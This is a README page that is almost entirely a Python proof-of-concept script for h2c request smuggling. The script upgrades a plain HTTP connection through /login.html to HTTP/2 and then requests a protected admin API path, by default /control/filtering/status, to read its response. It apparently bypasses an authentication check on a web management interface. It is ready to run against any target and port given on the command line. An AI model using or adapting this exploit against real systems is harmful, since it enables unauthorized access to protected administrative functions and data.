README.md
Rendering markdown...
import socket, sys
import h2.connection, h2.config, h2.events
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
path = sys.argv[3] if len(sys.argv) > 3 else "/control/filtering/status"
s = socket.create_connection((target, port))
s.sendall(
f"GET /login.html HTTP/1.1\r\n"
f"Host: {target}\r\nConnection: Upgrade, HTTP2-Settings\r\n"
f"Upgrade: h2c\r\nHTTP2-Settings: AAMAAABkAARAAP__AAIAAAAA\r\n\r\n".encode()
)
buf = b""
while b"\r\n\r\n" not in buf:
buf += s.recv(4096)
if b"HTTP/1.1 101" not in buf:
print("[-] Upgrade refused:\n" + buf.decode(errors="replace"), file=sys.stderr); sys.exit(1)
print("[+] h2c upgrade successful — connection is now HTTP/2", file=sys.stderr)
leftover = buf[buf.index(b"\r\n\r\n") + 4:]
c = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True, header_encoding="utf-8"))
c.initiate_upgrade_connection() # reserves stream 1 for the upgrade response
s.sendall(c.data_to_send())
if leftover: c.receive_data(leftover)
sid = c.get_next_available_stream_id()
c.send_headers(sid, [
(":method", "GET"), (":path", path),
(":scheme", "http"), (":authority", target),
("accept", "application/json"),
], end_stream=True)
s.sendall(c.data_to_send())
# Read events but only print/exit on OUR stream id (stream 1 carries the
# upgrade request's response — login.html HTML — which arrives first).
body = b""
while True:
chunk = s.recv(65535)
if not chunk: break
for ev in c.receive_data(chunk):
if isinstance(ev, h2.events.ResponseReceived) and ev.stream_id == sid:
print("[+] response status:", dict(ev.headers).get(":status"), file=sys.stderr)
elif isinstance(ev, h2.events.DataReceived):
if ev.stream_id == sid:
body += ev.data
c.acknowledge_received_data(ev.flow_controlled_length, ev.stream_id)
elif isinstance(ev, h2.events.StreamEnded) and ev.stream_id == sid:
print(body.decode(errors="replace")); s.close(); sys.exit(0)
s.sendall(c.data_to_send())